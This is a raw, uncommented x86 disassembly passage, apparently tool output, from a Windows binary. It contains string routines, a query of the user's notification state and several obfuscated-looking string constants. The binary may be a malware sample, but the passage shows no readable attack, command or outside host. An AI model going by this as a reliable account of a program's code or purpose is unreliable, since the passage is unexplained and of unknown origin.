mov eax, dword [ebp - 0x1c]
lea esi, [eax + 0x10]
mov dword [ebp - 0x2c], esi
jmp 0x40aee0
push dword [edx + 4]
lea ecx, [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.0042f4f0
mov esi, dword [ebp - 0x2c]
mov byte [ebp - 4], 0x42
mov eax, edi
mov edx, dword [ebp - 0x24]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40aefe
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [esi - 0xc], 0x14
jl 0x40b3ad
push 8
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0041fc20
mov edi, eax
mov byte [ebp - 4], 0x44
mov eax, dword [edi]
cmp dword [eax - 4], 1
jle 0x40af2e
push dword [eax - 0xc]
mov ecx, edi
call fcn.0042f340
mov edx, dword [edi]
xorps xmm0, xmm0
mov ecx, edx
mov dword [ebp - 0xe8], 0
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe4], 0
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40af53
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0xf8]
call fcn.0042d590
mov byte [ebp - 4], 0x45
call fcn.005547bd
cmp dword [ebp - 0xe4], 8
lea edi, [ebp - 0xf8]
mov dword [ebp - 0x14], eax
cmovae edi, dword [ebp - 0xf8]
mov dword [eax], 0
lea eax, [ebp - 0x40]
push 0x10
push eax
push edi
call fcn.00556282
add esp, 0xc
mov dword [ebp - 0x34], edx
cmp edi, dword [ebp - 0x40]
je 0x40c369
mov ecx, dword [ebp - 0x14]
cmp dword [ecx], 0x22
je 0x40c35f
test edx, edx
ja 0x40afc7
jb 0x40afca
cmp eax, 0xffffffff
jbe 0x40afca
or eax, 0xffffffff
lea ecx, [ebp - 0xf8]
mov dword [ebp - 0x48], eax
call fcn.0042eab0
mov byte [ebp - 4], 0x42
or eax, 0xffffffff
mov edx, dword [ebp - 0x54]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40aff7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [esi - 0xc]
lea ecx, [ebp - 0x2c]
push 8
add eax, 0xfffffff8
push eax
call fcn.0041ffe0
push ecx
mov edi, esp
mov dword [ebp - 0x34], edi
mov esi, dword [ebp - 0x2c]
lea ecx, [esi - 0x10]
call fcn.0042e860
add eax, 0x10
mov dword [edi], eax
call fcn.00447740
add esp, 4
cmp eax, dword [ebp - 0x48]
jne 0x40b3aa
cmp dword [esi - 0xc], 4
jg 0x40b048
lea ecx, [esi - 0x10]
call fcn.0042e860
lea edi, [eax + 0x10]
mov dword [ebp - 0x18], edi
jmp 0x40b0d4
mov ecx, dword [esi - 0x10]
test ecx, ecx
je 0x40b05a
mov eax, dword [ecx]
mov eax, dword [eax + 0x10]
call eax
test eax, eax
jne 0x40b070
call fcn.0042ef50
mov ecx, eax
mov edx, dword [eax]
mov eax, dword [edx + 0x10]
call eax
test eax, eax
je 0x40c28b
test esi, esi
je 0x40c378
mov ecx, dword [eax]
push 2
push 4
mov edx, dword [ecx]
mov ecx, eax
call edx
test eax, eax
je 0x40c373
cmp dword [eax + 8], 4
lea edi, [eax + 0x10]
mov dword [ebp - 0x18], edi
jl 0x40c378
xor eax, eax
mov dword [edi - 0xc], 4
mov word [edi + 8], ax
test edi, edi
je 0x40b0c4
test esi, esi
je 0x40b0bd
mov eax, dword [esi]
mov ecx, dword [esi + 4]
mov dword [edi], eax
mov dword [edi + 4], ecx
jmp 0x40b0d4
xorps xmm0, xmm0
movq qword [edi], xmm0
call fcn.005547bd
mov dword [eax], 0x16
call fcn.005546bf
mov eax, dword [ebp - 0x20]
mov ecx, 1
mov byte [ebp - 4], 0x46
or ecx, eax
cmp dword [edi - 4], 1
mov dword [ebp - 0x28], ecx
jle 0x40b0f9
push dword [edi - 0xc]
lea ecx, [ebp - 0x18]
call fcn.0042f340
mov edi, dword [ebp - 0x18]
mov ecx, edi
mov dword [ebp - 0xc4], 0
xorps xmm0, xmm0
mov dword [ebp - 0xc0], 0
movups xmmword [ebp - 0xd4], xmm0
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40b120
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea ecx, [ebp - 0xd4]
call fcn.0042d590
mov byte [ebp - 4], 0x47
call fcn.005547bd
cmp dword [ebp - 0xc0], 8
lea esi, [ebp - 0xd4]
mov dword [ebp - 0x14], eax
cmovae esi, dword [ebp - 0xd4]
mov dword [eax], 0
lea eax, [ebp - 0x58]
push 0x10
push eax
push esi
call fcn.00556282
add esp, 0xc
mov dword [ebp - 0x34], edx
mov ecx, eax
mov dword [ebp - 0x44], ecx
cmp esi, dword [ebp - 0x58]
je 0x40c369
mov eax, dword [ebp - 0x14]
cmp dword [eax], 0x22
je 0x40c35f
test edx, edx
ja 0x40b199
jb 0x40b1a0
cmp ecx, 0xffffffff
jbe 0x40b1a0
mov dword [ebp - 0x44], 0xffffffff
lea ecx, [ebp - 0xd4]
call fcn.0042eab0
lea edx, [edi - 0x10]
mov byte [ebp - 4], 0x42
or edi, 0xffffffff
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b1c9
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 4
push 0
lea ecx, [ebp - 0x2c]
call fcn.0041ffe0
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
cmp dword [esi - 0xc], 0
jle 0x40b3ad
push 8
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0041fc20
mov edi, eax
mov byte [ebp - 4], 0x48
mov eax, dword [edi]
cmp dword [eax - 4], 1
jle 0x40b20e
push dword [eax - 0xc]
mov ecx, edi
call fcn.0042f340
mov edx, dword [edi]
xorps xmm0, xmm0
mov eax, edx
mov dword [ebp - 0x100], 0
movups xmmword [ebp - 0x110], xmm0
mov dword [ebp - 0xfc], 0
lea edi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40b233
sub eax, edi
lea ecx, [ebp - 0x110]
sar eax, 1
push eax
push edx
call fcn.0042d590
mov byte [ebp - 4], 0x49
call fcn.005547bd
cmp dword [ebp - 0xfc], 8
lea edi, [ebp - 0x110]
mov dword [ebp - 0x14], eax
cmovae edi, dword [ebp - 0x110]
mov dword [eax], 0
lea eax, [ebp - 0x8c]
push 0x10
push eax
push edi
call fcn.00556282
add esp, 0xc
mov dword [ebp - 0x34], edx
cmp edi, dword [ebp - 0x8c]
je 0x40c369
mov ecx, dword [ebp - 0x14]
cmp dword [ecx], 0x22
je 0x40c35f
test edx, edx
ja 0x40b2ad
jb 0x40b2b0
cmp eax, 0xffffffff
jbe 0x40b2b0
or eax, 0xffffffff
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x48], eax
call fcn.0042eab0
mov byte [ebp - 4], 0x42
or edi, 0xffffffff
mov edx, dword [ebp - 0x5c]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b2df
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0x64]
call fcn.00424090
mov ecx, dword [ebp - 0xd8]
cmp byte [ecx + 0xd], 0
jne 0x40b30a
mov eax, dword [ebp - 0x48]
cmp eax, dword [ecx + 0x10]
jae 0x40b37e
cmp dword [ebp - 0x60], 0xaaaaaaa
je 0x40c35a
mov edi, dword [ebp - 0x64]
lea eax, [ebp - 0x64]
mov dword [ebp - 0xb4], eax
mov byte [ebp - 4], 0x4a
push 0x18
mov dword [ebp - 0xb0], 0
call fcn.0054f7c4
mov byte [ebp - 4], 0x42
add esp, 4
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0xb0], 0
mov dword [eax + 0x10], ecx
lea ecx, [ebp - 0x64]
push eax
push dword [ebp - 0xdc]
mov dword [eax + 0x14], 0
push dword [ebp - 0xe0]
mov dword [eax], edi
mov dword [eax + 4], edi
mov dword [eax + 8], edi
mov word [eax + 0xc], 0
call fcn.00423680
mov ecx, eax
or edi, 0xffffffff
mov eax, dword [ebp - 0x44]
mov dword [ecx + 0x14], eax
lea ecx, [ebp - 0x2c]
mov eax, dword [esi - 0xc]
push 8
add eax, 0xfffffff8
push eax
call fcn.0041ffe0
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
cmp dword [esi - 0xc], 0
jg 0x40b1e8
jmp 0x40b3ad
or edi, 0xffffffff
push dword [ebp - 0x4c]
call fcn.00556117
add esp, 4
test eax, eax
je 0x40ae70
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x20], eax
lea edi, [eax + 0xc]
push edi
mov dword [ebp - 0x34], edi
call fcn.0053c611
add esp, 4
test eax, eax
jne 0x40c353
mov eax, dword [edi + 0x2c]
cmp eax, 0x7fffffff
je 0x40c382
mov byte [ebp - 4], 0x4b
lea eax, [ebp - 0x64]
mov ecx, dword [ebp - 0x20]
add ecx, 4
cmp ecx, eax
je 0x40b498
mov eax, dword [ecx]
mov dword [ebp - 0x14], eax
push dword [eax + 4]
push ecx
call fcn.004240e0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
add ecx, 4
mov dword [eax + 4], eax
mov dword [eax], eax
mov dword [eax + 8], eax
push dword [ecx]
mov dword [ecx + 4], 0
mov eax, dword [ebp - 0x64]
push dword [eax + 4]
call fcn.00466650
mov edx, dword [ebp - 0x20]
mov ecx, dword [edx + 4]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x60]
mov dword [edx + 8], eax
mov eax, dword [edx + 4]
mov ecx, dword [eax + 4]
cmp byte [ecx + 0xd], 0
jne 0x40b490
mov eax, dword [ecx]
cmp byte [eax + 0xd], 0
jne 0x40b46a
nop dword [eax]
mov ecx, eax
mov eax, dword [ecx]
cmp byte [eax + 0xd], 0
je 0x40b460
mov eax, dword [edx + 4]
mov dword [eax], ecx
mov edx, dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ecx + 8]
cmp byte [eax + 0xd], 0
jne 0x40b48b
nop
mov ecx, eax
mov eax, dword [ecx + 8]
cmp byte [eax + 0xd], 0
je 0x40b480
mov dword [edx + 8], ecx
jmp 0x40b498
mov dword [eax], eax
mov eax, dword [edx + 4]
mov dword [eax + 8], eax
push edi
call fcn.0053c622
mov eax, dword [ebp - 0x64]
add esp, 4
push dword [eax + 4]
lea eax, [ebp - 0x64]
push eax
mov ecx, eax
call fcn.004240e0
push 0x18
push dword [ebp - 0x64]
call fcn.0054f7f4
add esp, 8
jmp 0x40ac1a
cmp dword [esi - 4], 1
jle 0x40b4d8
push dword [esi - 0xc]
lea ecx, [ebp - 0x2c]
call fcn.0042f340
mov esi, dword [ebp - 0x2c]
push esi
call fcn.00555eff
add esp, 4
mov edi, eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x48], edi
push eax
call dword [sym.imp.SHELL32.dll_SHQueryUserNotificationState]
mov eax, dword [ebp - 0x14]
cmp eax, 5
je 0x40b753
cmp eax, 7
je 0x40b753
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c28b
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
push str.YnpIeWg0cCLj8QBJSwz2ERkpHKAYfqLA
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x66
call fcn.0042f1c0
test al, al
jne 0x40b545
push 0x22
push str.YnpIeWg0cCLj8QBJSwz2ERkpHKAYfqLA
lea ecx, [ebp - 0x28]
call fcn.0042f4f0
mov byte [ebp - 4], 0x68
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c38d
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x30], eax
push edi
push ecx
mov byte [ebp - 4], 0x69
mov edi, esp
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x70]
lea ecx, [ecx - 0x10]
call fcn.0042e860
add eax, 0x10
lea ecx, [ebp - 0x14]
mov dword [edi], eax
call fcn.004453e0
add esp, 4
mov byte [ebp - 4], 0x6a
push dword [eax]
lea eax, [ebp - 0x30]
push eax
call fcn.00421870
mov byte [ebp - 4], 0x69
add esp, 0xc
mov edx, dword [ebp - 0x14]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b5bc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c397
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
push 0x59678c
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x6b
call fcn.0042f1c0
test al, al
jne 0x40b5fc
push 0
push 0x59678c
lea ecx, [ebp - 0x18]
call fcn.0042f4f0
mov byte [ebp - 4], 0x6c
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c3a1
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
push 0x59678c
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x6d
call fcn.0042f1c0
test al, al
jne 0x40b640
push 0
push 0x59678c
lea ecx, [ebp - 0x20]
call fcn.0042f4f0
push ecx
mov byte [ebp - 4], 0x6e
mov edi, esp
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x54], eax
call fcn.0042e860
add eax, 0x10
lea ecx, [ebp - 0x40]
mov dword [edi], eax
call fcn.004453e0
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x6f
mov dword [ebp - 0x14], esp
mov edi, dword [ebp - 0x50]
lea ecx, [edi - 0x10]
call fcn.0042e860
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x24]
call fcn.004453e0
add esp, 4
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x70
mov edx, dword [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, eax
call fcn.0045ae10
mov edx, dword [ebp - 0x24]
add esp, 0xc
add edx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b6c6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x40]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b6e1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b6fc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x18]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b717
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x30]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b732
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x54]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ac1d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x40ac1d
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c28b
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
push 0x591388
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x4c
call fcn.0042f1c0
test al, al
jne 0x40b793
push 0x13
push 0x591388
lea ecx, [ebp - 0x28]
call fcn.0042f4f0
mov byte [ebp - 4], 0x4d
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c3ab
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x30], eax
push str.aWRZnZyUFMKhM9rDTQC
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x4e
call fcn.0042f1c0
test al, al
jne 0x40b7d7
push 0x13
push str.aWRZnZyUFMKhM9rDTQC
lea ecx, [ebp - 0x30]
call fcn.0042f4f0
push ecx
mov byte [ebp - 4], 0x4f
mov dword [ebp - 0x34], esp
mov dword [ebp - 0x14], esp
push ecx
mov edi, esp
mov dword [ebp - 0x24], edi
mov ecx, dword [0x5cbf24]
lea ecx, [ecx - 0x10]
call fcn.0042e860
mov ecx, dword [ebp - 0x14]
add eax, 0x10
mov dword [edi], eax
call fcn.004453e0
mov byte [ebp - 4], 0x50
lea ecx, [esi - 0x10]
mov dword [ebp - 0x24], esp
mov dword [ebp - 0x14], edi
call fcn.0042e860
add eax, 0x10
mov dword [edi], eax
mov byte [ebp - 4], 0x51
push ecx
mov dword [ebp - 0x14], esp
push ecx
mov edi, esp
mov dword [ebp - 0x40], edi
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x58], eax
call fcn.0042e860
mov ecx, dword [ebp - 0x14]
add eax, 0x10
mov dword [edi], eax
call fcn.004453e0
add esp, 4
mov byte [ebp - 4], 0x4f
mov ecx, SysReAllocString
call fcn.00448680
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x1c]
add esp, 0xc
call fcn.00448890
mov byte [ebp - 4], 0x52
lea edi, [esi - 0x10]
mov edx, dword [eax]
lea ecx, [edx - 0x10]
cmp ecx, edi
je 0x40b8bd
mov eax, dword [edi + 0xc]
lea esi, [edi + 0xc]
shr eax, 0x1f
test al, al
jne 0x40b8ae
mov eax, dword [ecx]
cmp eax, dword [edi]
jne 0x40b8ae
call fcn.0042e860
mov dword [ebp - 0x14], eax
or ecx, 0xffffffff
lock xadd dword [esi], ecx
dec ecx
test ecx, ecx
jg 0x40b8a6
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x14]
lea esi, [eax + 0x10]
mov dword [ebp - 0x2c], esi
jmp 0x40b8bd
push dword [ecx + 4]
lea ecx, [ebp - 0x2c]
push edx
call fcn.0042f4f0
mov esi, dword [ebp - 0x2c]
mov byte [ebp - 4], 0x4f
or eax, 0xffffffff
mov edx, dword [ebp - 0x1c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b8dc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [esi - 4], 1
jle 0x40b8f0
push dword [esi - 0xc]
lea ecx, [ebp - 0x2c]
call fcn.0042f340
mov esi, dword [ebp - 0x2c]
push esi
call fcn.00555eff
mov dword [ebp - 0x34], esp
mov dword [ebp - 0x14], esp
push ecx
mov edi, esp
mov dword [ebp - 0x1c], edi
mov ecx, dword [0x5cbf24]
lea ecx, [ecx - 0x10]
call fcn.0042e860
mov ecx, dword [ebp - 0x14]
add eax, 0x10
mov dword [edi], eax
call fcn.004453e0
mov byte [ebp - 4], 0x53
lea ecx, [esi - 0x10]
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x14], edi
call fcn.0042e860
add eax, 0x10
mov dword [edi], eax
mov byte [ebp - 4], 0x54
push ecx
mov dword [ebp - 0x14], esp
push ecx
mov edi, esp
mov dword [ebp - 0x24], edi
mov eax, dword [ebp - 0x30]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x54], eax
call fcn.0042e860
mov ecx, dword [ebp - 0x14]
add eax, 0x10
mov dword [edi], eax
call fcn.004453e0
add esp, 4
mov byte [ebp - 4], 0x4f
mov ecx, SysReAllocString
call fcn.00448680
add esp, 0xc
mov byte [ebp - 4], 0x55
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c3b5
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x56
push dword [ebp - 0x48]
push ecx
mov edi, esp
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x70]
lea ecx, [ecx - 0x10]
call fcn.0042e860
add eax, 0x10
lea ecx, [ebp - 0x14]
mov dword [edi], eax
call fcn.004453e0
add esp, 4
mov byte [ebp - 4], 0x57
push dword [eax]
lea eax, [ebp - 0x44]
push eax
call fcn.00421870
mov byte [ebp - 4], 0x56
add esp, 0xc
mov edx, dword [ebp - 0x14]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b9ec
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c3bf
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
push 0x59678c
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x58
call fcn.0042f1c0
test al, al
jne 0x40ba2c
push 0
push 0x59678c
lea ecx, [ebp - 0x18]
call fcn.0042f4f0
mov byte [ebp - 4], 0x59
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c3c9
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
push 0x59678c
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x5a
call fcn.0042f1c0
test al, al
jne 0x40ba70
push 0
push 0x59678c
lea ecx, [ebp - 0x20]
call fcn.0042f4f0
push ecx
mov byte [ebp - 4], 0x5b
mov edi, esp
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x94]
lea ecx, [ecx - 0x10]
call fcn.0042e860
add eax, 0x10
lea ecx, [ebp - 0x40]
mov dword [edi], eax
call fcn.004453e0
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x5c
mov dword [ebp - 0x14], esp
mov edi, dword [ebp - 0x50]
lea ecx, [edi - 0x10]
call fcn.0042e860
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x24]
call fcn.004453e0
add esp, 4
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x5d
mov edx, dword [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x44]
push ecx
mov ecx, eax
call fcn.0045ae10
mov edx, dword [ebp - 0x24]
add esp, 0xc
add edx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40baf4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x40]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bb0f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bb2a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x56
or eax, 0xffffffff
mov edx, dword [ebp - 0x18]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bb49
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [ebp - 0x48], 0
je 0x40bd89
mov eax, dword [ebp - 0x3c]
cmp dword [eax + 0x118], 0
jne 0x40bd89
mov byte [ebp - 4], 0x5e
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c3d3
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x5f
mov eax, dword [ebp - 0x48]
push eax
sub esp, 0x18
mov dword [ecx + 0x114], eax
lea eax, [ebp - 0x188]
mov ecx, esp
push eax
call fcn.0042e950
lea ecx, [ebp - 0x14]
call fcn.00445000
add esp, 0x18
mov byte [ebp - 4], 0x60
push dword [eax]
lea eax, [ebp - 0x18]
push eax
call fcn.00421870
mov byte [ebp - 4], 0x5f
add esp, 0xc
mov edx, dword [ebp - 0x14]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bbe1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.0042e950
lea ecx, [ebp - 0x1c]
call fcn.00445000
add esp, 0x18
mov byte [ebp - 4], 0x61
mov edx, dword [eax]
mov ecx, edx
lea eax, [ecx + 2]
mov dword [ebp - 0x14], eax
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40bc10
sub ecx, dword [ebp - 0x14]
sar ecx, 1
push ecx
mov ecx, dword [ebp - 0x3c]
push edx
lea ecx, [ecx + 0x120]
call fcn.0042dd30
mov byte [ebp - 4], 0x5f
or eax, 0xffffffff
mov edx, dword [ebp - 0x1c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bc4f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c3dd
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
push str.N1ZQgekx03MQpHVdGpaDTHQWFUM_vNhNUiNyQTkWDgjaWA129K1hYuMDYfCRR8jmNUczEPlgNudiQImQjMtVB0o
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x62
call fcn.0042f1c0
test al, al
jne 0x40bc8f
push 0x59
push str.N1ZQgekx03MQpHVdGpaDTHQWFUM_vNhNUiNyQTkWDgjaWA129K1hYuMDYfCRR8jmNUczEPlgNudiQImQjMtVB0o
lea ecx, [ebp - 0x20]
call fcn.0042f4f0
mov eax, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x63
push 4
push ecx
mov eax, dword [eax + 0x4c]
mov dword [ebp - 0x1c], esp
push ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], esp
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x40], eax
call fcn.0042e860
mov ecx, dword [ebp - 0x1c]
mov edx, esp
add eax, 0x10
mov dword [edx], eax
call fcn.004453e0
mov ecx, dword [ebp - 0x24]
add esp, 4
call fcn.00464270
mov ecx, dword [ebp - 0x3c]
push 8
push ecx
mov eax, dword [ecx + 0x4c]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], esp
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042e860
mov ecx, dword [ebp - 0x1c]
mov edx, esp
add eax, 0x10
mov dword [edx], eax
call fcn.00464270
push 4
call fcn.0054f7c4
mov ecx, dword [ebp - 0x3c]
add esp, 4
mov dword [ebp - 0x34], eax
mov dword [eax], ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x64
push ecx
push 0
push eax
push 0x424f10
push 0
push 0
call fcn.0055ae48
add esp, 0x18
mov dword [ebp - 0x90], eax
test eax, eax
je 0x40c3ec
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x65
call fcn.0042e3e0
cmp dword [ebp - 0x8c], 0
jne 0x40c3e7
mov edx, dword [ebp - 0x40]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bd71
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bd89
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bda4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x54]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bdbc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x58]
jmp 0x40b735
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c3fd
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
push 0x59678c
